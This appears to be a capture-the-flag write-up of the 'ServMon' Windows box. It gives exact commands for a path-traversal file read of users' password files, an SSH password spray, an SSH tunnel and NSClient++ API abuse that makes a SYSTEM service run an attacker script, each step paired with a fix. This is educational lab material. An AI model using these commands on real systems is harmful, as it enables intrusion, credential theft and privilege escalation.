ServMon
Summary
I, with no credentials, abused a path-traversal flaw in the web service on port 80 to read files outside the webroot, pulled a plaintext password list from Nathan's and Nadine's desktops, and sprayed it against SSH to find Nadine's working password. From the Nadine shell, the NSClient++ configuration file disclosed the web-admin password.
The NSClient++ API listened only on 127.0.0.1:8443, so an SSH port-forward exposed it; registering an external script through the API made the SYSTEM-level NSClient++ service copy root.txt to Nadine's desktop.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for Nadine>"
export PASSWORD2="<the-password-you-recovered, for admin>"Attack path — how the box was taken
Exact commands 1
--path-as-is keeps the ../ segments intact; without it curl collapses them before sending.
$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../windows/win.ini"FixFix the path-traversal flaw in the port-80 web applicationCritical
Exact commands 2
Reads Nathan's password list.
$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt"Same request against Nadine's desktop.
$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../Users/Nadine/Desktop/Passwords.txt"FixRemove plaintext credential files from the filesystemHigh
Exact commands 2
Candidate usernames, one per line.
$ printf '%s\n' Nathan Nadine > /tmp/servmon_users.txt/tmp/servmon_pass.txt holds the passwords from Passwords.txt, one per line. --continue-on-success tests every pair.
$ nxc ssh $TARGET -u /tmp/servmon_users.txt -p /tmp/servmon_pass.txt --continue-on-success 2>/dev/null | tee /tmp/servmon_nxc_ssh.txtFixDisable SSH password authenticationHigh
Exact commands 1
Confirms the identity and prints <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 Nadine@$TARGET 'whoami & hostname & type C:\Users\Nadine\Desktop\user.txt & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" & whoami /priv'
servmon\nadineExact commands 1
The password line in the output is the admin credential for the NSClient++ API ($PASSWORD2).
$ sshpass -p "$PASSWORD" ssh Nadine@$TARGET 'powershell -NoProfile -Command "Get-Content \"C:\Program Files\NSClient++\nsclient.ini\""'FixHarden NSClient++ network exposure and eliminate cleartext config-file credentialsHigh
Exact commands 1
Leave this running in its own terminal; later API calls go to https://127.0.0.1:8443.
$ sshpass -p "$PASSWORD" ssh -N -L 127.0.0.1:8443:127.0.0.1:8443 Nadine@$TARGETExact commands 3
Registers pwnroot.bat with a command that the SYSTEM service will run.
$ curl -k -s -i -u admin:$PASSWORD2 -X PUT --data-binary 'cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Nadine\Desktop\root-api.txt' https://127.0.0.1:8443/api/v1/scripts/ext/scripts/pwnroot.batLists the external scripts; pwnroot.bat should be present.
$ curl -k -s -u admin:$PASSWORD2 https://127.0.0.1:8443/api/v1/scripts/ext | python3 -m json.toolAfter the script runs, reads the copied flag: <root.txt>.
$ sshpass -p "$PASSWORD" ssh Nadine@$TARGET 'type C:\Users\Nadine\Desktop\root-api.txt'FixRestrict NSClient++ service privileges and disable unrestricted external-script executionCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.